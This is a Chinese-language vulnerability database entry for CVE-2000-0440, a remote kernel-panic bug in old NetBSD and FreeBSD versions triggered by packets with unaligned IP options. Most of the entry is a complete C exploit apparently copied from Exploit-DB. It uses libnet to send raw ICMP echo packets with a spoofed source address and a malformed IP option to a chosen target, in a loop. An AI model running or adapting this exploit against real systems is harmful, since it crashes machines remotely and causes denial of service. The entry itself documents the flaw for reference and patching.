多个厂商*BSD非连续IP选项的拒绝服务漏洞

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漏洞ID 1105816 漏洞类型 其他
发布时间 2000-05-04 更新时间 2005-05-02
CVE编号 CVE-2000-0440 CNNVD-ID CNNVD-200005-002
漏洞平台 BSD CVSS评分 5.0
|漏洞来源
https://www.exploit-db.com/exploits/19896
http://www.cnnvd.org.cn/web/xxk/ldxqById.tag?CNNVD=CNNVD-200005-002
|漏洞详情
NetBSD1.4.2和早期版本存在漏洞,攻击者可以通过发送非连续IP时间戳选项的包触发拒绝服务。
|漏洞EXP
source: http://www.securityfocus.com/bid/1173/info

A vulnerability exists in the 1.4.x NetBSD kernel that may allow remote attackers to cause the machine to kernel panic on certain architectures. By sending a packet to a machine running the Alpha or SPARC versions of NetBSD, with an unaligned IP timestamp option, it is possible to cause the kernel to perform an unaligned memory access. This will cause a panic, causing the machine to reboot.

x86 and arm32 platforms have a similar bug. However, as both of these architectures can perform unaligned memory accesses, this vulnerability does not cause them to panic.

It was later determined that FreeBSD, a 4.xBSD derivative like NetBSD, is also vulnerable to this problem.


#include <stdio.h>
#include <libnet.h>
/* Remote denial-of-service in IP stack 
   simple exploit by y3t1
                     y3t1@rast.lodz.pdi.net

Gretzzz : rastlin,z33d,vanitas,DYZIU,Kuki,vx,zx,korie,kaneda,
          d3cker&mroowka,jarv33s,funkySh,Shadow,tmoggie
	  all from :
	           #hwa.hax0r.news@efnet
	           #darnet@efnet
*/
int rand_n(u_long zakres)
{
  return 1+(int) ((float)zakres*rand()/(RAND_MAX+1.0));
}

int main(int argc, char **argv)
{
    char a;
    int sock, c,pkt,ile;
    struct hostent *host;
    u_long src_ip, dst_ip;
    u_char *buf;
    u_char options[4];
    int option_s  = sizeof(options);
    struct ipoption ipopt;
    srand(time(NULL));
    ile=100; 
    printf("  -= Remote denial-of-service in IP stack =- \n");
    printf("\n");
    printf("                          by y3t1/team140\n");
    printf("                             y3t1@rast.lodz.pdi.net \n");
    printf("\n");
    if  (argc < 4) 
    {
     printf("%s -s src_addr -d dst_addr -p packets\n",argv[0]);
     printf(" -s src_addr - source address \n");
     printf(" -d dst_addr - dest address \n");
     printf(" -p packets - how many packets send to dest (default 100)\n");
     exit(1);
    }
   opterr=0;
   while((a=getopt(argc,argv,"s:d:p:"))!=EOF)
   {
	switch(a) {
	 case 's': { 
	           if ((host=gethostbyname(optarg))!=NULL)
		   bcopy(host->h_addr,&src_ip,host->h_length);
		   else src_ip=inet_addr(optarg);
		   break;
		   }
	 case 'd': {   
	           if ((host=gethostbyname(optarg))!=NULL)
		   bcopy(host->h_addr,&dst_ip,host->h_length);
		   else dst_ip=inet_addr(optarg);
	      	   break;
                   }
         case 'p': {
	            ile=atoi(optarg);
		    break; 
		   }
	 }
   }
    bzero(options,option_s);
    buf = malloc(IP_MAXPACKET);
    if (!buf)
    {
        perror("malloc");
        exit(-1);
    }
    sock = libnet_open_raw_sock(IPPROTO_RAW);
    if (sock == -1)
    {
        perror("socket");
        exit(-1);
    }
    libnet_build_ip(LIBNET_ICMP_H ,0,242,0,48,IPPROTO_ICMP,src_ip,dst_ip,NULL,0,buf);                          
    memcpy(ipopt.ipopt_list, options, option_s);
    *(ipopt.ipopt_list)     = IPOPT_RR;
    *(ipopt.ipopt_list+1)   = 3;
    *(ipopt.ipopt_list+2)   = 0xff;
    *(ipopt.ipopt_list+3)   = 0;
    c = libnet_insert_ipo(&ipopt,option_s,buf);                                                
    if (c == -1)
    {
        printf("Error\n");
	exit(1);
    }
    libnet_build_icmp_echo(ICMP_ECHO,0,242,31337,NULL,0,buf+LIBNET_IP_H+option_s);
    if (libnet_do_checksum(buf,IPPROTO_ICMP,LIBNET_ICMP_ECHO_H)==-1)
    {
     printf("can't do checksum \n");
    }
 for (pkt=0;pkt<ile;pkt++)
 {
    buf[22]=rand_n(0xff);
    c = libnet_write_ip(sock, buf, LIBNET_ICMP_ECHO_H + LIBNET_IP_H + option_s);
 }
    free(buf);
    libnet_close_raw_sock(sock);   
}
|参考资料

来源:BID
名称:1173
链接:http://www.securityfocus.com/bid/1173
来源:BUGTRAQ
名称:20000506[NHC20000504a.0:NetBSDPanicswhensentunalignedIPoptions]
链接:http://archives.neohapsis.com/archives/bugtraq/2000-05/0088.html
来源:NETBSD
名称:NetBSD-SA2000-002
链接:ftp://ftp.netbsd.org/pub/NetBSD/misc/security/advisories/NetBSD-SA2000-002.txt.asc